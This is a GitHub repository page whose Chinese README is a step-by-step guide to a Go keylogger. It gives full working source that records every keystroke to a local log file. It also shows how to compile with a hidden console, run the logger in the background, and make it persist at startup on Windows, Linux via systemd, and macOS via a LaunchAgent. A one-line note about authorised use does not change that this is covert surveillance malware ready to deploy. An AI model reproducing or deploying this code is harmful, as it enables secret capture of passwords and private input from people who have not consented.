Skip to content

ZacharyZcR/KeyLogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Go键盘记录器使用指南

前提条件

  • 已安装Go语言环境(1.14或更高版本)
  • 拥有系统管理权限

安装步骤

1. 安装依赖库

go get github.com/robotn/gohook

2. 创建项目

将代码保存为keylogger.go

package main

import (
	"fmt"
	"os"
	"time"

	hook "github.com/robotn/gohook"
)

func main() {
	// 创建并打开日志文件
	f, _ := os.OpenFile("log.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	defer f.Close()
	
	fmt.Fprintf(f, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
	
	// 只使用 gohook 库
	evChan := hook.Start()
	for ev := range evChan {
		if ev.Kind == hook.KeyDown {
			key := hook.RawcodetoKeychar(ev.Rawcode)
			fmt.Fprintf(f, "%s: %s\n", time.Now().Format("15:04:05"), key)
			f.Sync()
		}
	}
}

3. 编译

Windows (可见控制台):

go build -o keylogger.exe keylogger.go

Windows (隐藏控制台):

go build -ldflags -H=windowsgui -o keylogger.exe keylogger.go

Linux/macOS:

go build -o keylogger keylogger.go

运行方式

Windows:

  • 双击keylogger.exe即可运行
  • 要隐藏运行,使用隐藏控制台的编译版本

Linux/macOS:

  • 前台运行:./keylogger
  • 后台运行:nohup ./keylogger &

设置开机自启

Windows:

  1. 将程序快捷方式(或程序本身)复制到启动文件夹:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
    

Linux:

创建systemd服务:

  1. 创建文件 /etc/systemd/system/keylogger.service:

    [Unit]
    Description=Keyboard Logger
    
    [Service]
    ExecStart=/完整路径/keylogger
    Restart=always
    
    [Install]
    WantedBy=multi-user.target
    
  2. 启用服务:

    sudo systemctl enable keylogger.service
    sudo systemctl start keylogger.service

macOS:

创建启动项:

  1. 创建文件 ~/Library/LaunchAgents/com.user.keylogger.plist:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.user.keylogger</string>
        <key>ProgramArguments</key>
        <array>
            <string>/完整路径/keylogger</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
    </plist>
  2. 加载启动项:

    launchctl load ~/Library/LaunchAgents/com.user.keylogger.plist

日志文件

  • 记录保存在程序同目录下的log.txt文件中
  • 每次按键都会记录按键内容和时间戳
  • 程序重启不会覆盖旧记录,而是追加新记录

停止记录

  • Windows: 在任务管理器中结束keylogger.exe进程
  • Linux: pkill keyloggersudo systemctl stop keylogger
  • macOS: pkill keyloggerlaunchctl unload ~/Library/LaunchAgents/com.user.keylogger.plist

注意事项

  • 请仅在您拥有合法授权的系统上使用此工具
  • 在某些环境中可能需要管理员/root权限
  • 在不同系统上键码映射可能略有不同
  • 某些安全软件可能会将此程序识别为恶意软件

希望这个使用指南对您的安全研究有所帮助!

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages